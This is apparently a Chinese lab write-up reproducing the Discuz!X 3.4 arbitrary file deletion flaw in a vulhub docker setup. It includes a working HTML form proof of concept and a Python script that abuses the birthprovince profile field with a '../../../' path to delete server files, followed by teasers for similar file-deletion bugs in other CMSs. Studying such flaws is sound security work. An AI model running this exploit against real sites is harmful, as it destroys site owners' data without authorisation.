Discuz任意文件删除
Discuz任意文件删除
实验环境
官方于2017年9月28日对源码进行了修复,这里利用docker搭建环境:
cd vulhub/discuz/x3.4-arbitrary-file-deletion/
docker-compose up -d
服务器:CentOS7
攻击机:物理机(10.10.10.1)
环境搭建好后开始安装DZ
漏洞复现
在服务器DZ根目录下建立hummer.txt文件,利用漏洞删除该文件
检查hummer.txt文件存在
注册Discuz用户,尝试修改个人信息
http://10.10.10.142/Discuz/home.php?mod=spacecp
填写个人信息后对该请求抓包:
从图中可以得到hummer用户的formhash=4c8ba00c
将birthprovince的值改为要删除的文件名(hummer.txt)
然后放包:
可以看到已经成功将birthprovince的值改为了要删除的文件名
构造POC:
<form action="http://10.10.10.142/Discuz/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi nce]=aaaaaa" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <input type="text" name="formhash" value="89b14d12"/></p> <input type="text" name="profilesubmit" value="1"/></p> <input type="submit" value="Submit" /> </from>
点击提交后,会有如下响应:
此时文件已经成功删除了
- 自动化脚本:
# -*- coding: utf-8 -*- # @Time : 2022/4/1 16:22 # @Author : hummer # @File : Discuz.pyimport requests import re''' Discuz!X <=3.4 任意文件删除漏洞 '''def get_cookie():cookies={}for line in raw_cookies .split(';'):key,value = line.split('=',1)cookies[key]=valuereturn cookiesdef get_formhash(url):cookies = get_cookie()testurl = url + "/home.php?mod=spacecp"html = requests.get(testurl,cookies=cookies)com = re.compile('<input type="hidden" name="formhash" value="(.*?)" />')result = com.findall(html.text)return result[0]def del_step1(url,filename):headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',}geturl = url + "/home.php?mod=spacecp&ac=profile&op=base"formhash=get_formhash(url)print("formhash: " + formhash)payload = {'birthprovince':filename,'profilesubmit':1,'formhash':formhash}cookies = get_cookie()html = requests.post(geturl,headers=headers,data=payload,cookies=cookies)if html.text.find('parent.show_success')>0:print('Step1 success!')def del_step2(url):geturl = url + '/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa'headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}formhash = get_formhash(url)files = {'formhash':(None,formhash),'birthprovince':('1.jpg',open('1.jpg','rb'),'image/jepg'),'profilesubmit':(None,1)}cookies = get_cookie()r = requests.post(geturl,files=files,headers=headers,cookies=cookies)if r.text.find('parent.show_success')>0:print("Step2 success!")if __name__ == '__main__':raw_cookies = "QEWn_2132_saltkey=jB44A7n7; QEWn_2132_lastvisit=1648895823; QEWn_2132_sid=KrpF5f; QEWn_2132_lastact=1648899609%09home.php%09misc; QEWn_2132_sendmail=1; QEWn_2132_seccode=1.21187a98997a88f189; QEWn_2132_ulastactivity=9ebcAx%2FzsiL2Ju3gB4nnVG5GBBHyFTeCzO6%2FbmGu9WxSCw8brZTS; QEWn_2132_auth=afde08MuW%2BAKdFLrgYSqhflGjsYLnWVSBtpPs6HBpmnwkPkewQvRZIgT1G6mgVSIU7FxCC9L84iX7RSX2PIb; QEWn_2132_nofavfid=1; QEWn_2132_onlineusernum=1; QEWn_2132_noticeTitle=1"url = 'http://10.10.10.145'del_step1(url,'../../../hummer.txt')del_step2(url)
运行结果如下:
漏洞复现完成
Discuz任意文件删除相关推荐
- feifeicms 4.0 几处任意文件删除
1.位置Lib/Lib/Action/Admin/DataAction.class.php,两处 未经处理的GET和POST参数直接拼接到路径后,造成文件删除.但实际本地测试发现_bak文件夹默认是不 ...
- php任意文件删除漏洞,phpshe后台任意文件删除漏洞及getshell | CN-SEC 中文网
摘要 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialchars过滤),虽然用的是全局变量注册 ...
- 服务器漏洞文件被删除漏洞,【华中科技大学 - 漏洞预警】Wordpress = 4.9.6 任意文件删除漏洞...
昨日,互联网上公开了Wordpress <= 4.9.6的任意文件删除漏洞及分析利用材料.该漏洞影响Wordpress全部版本(<= 4.9.6).在攻击者获得基础权限后,可升级角色权限, ...
- kingcms php 漏洞,kingcms任意php文件删除(可截断时升级为任意文件删除 )
### 简要描述: 设计不当导致任意php文件删除 ### 详细说明: 漏洞文件:global.php 好像是所有php文件都会调用该文件,该文件如下代码 ``` //当cache_path值被提交过 ...
- php任意文件删除漏洞,phpyun二次任意文件删除漏洞
### 简要描述: 只要有任意文件删除 这系统绝对崩. 我吐个槽,最新的过滤文件实在是太BT了,只要有select and .... 就die() 伤不起啊 ### 详细说明: 问题出在 friend ...
- PHP代码审计——任意文件删除漏洞(YXcms)
一.代码审计 在我的资源中下载:: YXcms-含有任意文件删除漏洞的源码包 下载即可 删除文件的代码在del()方法,首先通过GET方式接收参数fname传递过来的的值,然后执行in()函数 跟踪i ...
- php任意文件删除漏洞,myblog/phpyun4.3任意文件删除漏洞.md at master · source-trace/myblog · GitHub...
phpyun-expect.class.php任意文件 漏洞信息 公开时间: 2017/08 影响版本: 4.3 利用难度: 2 挖掘难度: 2 漏洞说明 漏洞出现的原因是在于没有对数据进行很好的校验 ...
- 通达+oa+php+文件+乱,通达OA任意文件删除/OA未授权访问+任意文件上传RCE漏洞复现...
0x00 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...
- 【代码审计】任意文件删除漏洞实例
[代码审计]任意文件删除漏洞实例 任意文件删除漏洞,该漏洞可让攻击者随意删除服务器上的任意文件. 环境搭建: CSCMS :http://www.chshcms.com/ 网站源码版本:Cscms_v ...
最新文章
- SiteMapPath基本用法
- 什么是深度智能:2021年深度智能的发展趋势
- Android基础建设之Activity,ViewRoot,WindowManager,Window,View
- Android基于mAppWidget实现手绘地图(五)--如何创建地图资源
- 【体验】朗读机器人是如何炼成的!带你体验TTS语音合成模块,B719语音合成模块效果测试...
- GDCM:DICOM文件转换为QImage文件的测试程序
- Tachyon更名为 Alluxio,并发布1.0版本
- API – MultiByteToWideChar的用法
- django-orm操作小结
- 【Java并发编程】16、ReentrantReadWriteLock源码分析
- Confluence 6 上传文件
- 计算机网络class1(概念、组成、功能和分类)
- mysql单实例和多实例,MySQL单实例、多实例安装_MySQL
- mysql,SQL标准,多表查询中内连接,外连接,自然连接等详解之查询结果集的笛卡尔积的演化...
- DDoS原理、分类与防御
- 七、CICSO设备 路由器
- build.gradle Failed to resolve:me.relex:circleindicator:1.1.5
- 选择排序(Selection sort)是一种简单直观的排序算法
- CSAPP 3e Attack lab
- ilitek win10 触摸屏驱动_德国布拉本达(Brabender)触摸屏维修常见故障_触摸屏维修吧...